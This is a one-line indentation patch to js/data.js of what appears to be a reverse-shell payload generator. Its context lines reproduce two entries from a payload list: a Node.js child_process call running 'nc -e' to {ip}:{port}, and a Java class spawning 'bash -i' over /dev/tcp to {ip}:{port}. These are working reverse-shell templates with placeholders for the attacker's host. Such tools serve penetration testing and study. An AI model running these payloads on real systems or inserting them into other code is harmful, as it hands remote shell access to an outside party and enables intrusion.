From ab01c7e45ecad7ee737b938bfbfe74090e85dcfb Mon Sep 17 00:00:00 2001 From: Adam Bertrand Date: Tue, 21 Sep 2021 13:49:25 +0200 Subject: [PATCH] Fix indentation --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index 9e69f02..d5a7f4c 100644 --- a/js/data.js +++ b/js/data.js @@ -248,7 +248,7 @@ const reverseShellCommands = withCommandType( "command": "require('child_process').exec('nc -e {shell} {ip} {port}')", "meta": ["linux", "mac"] }, - { + { "name": "Java #1", "command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", "meta": ["linux", "mac"]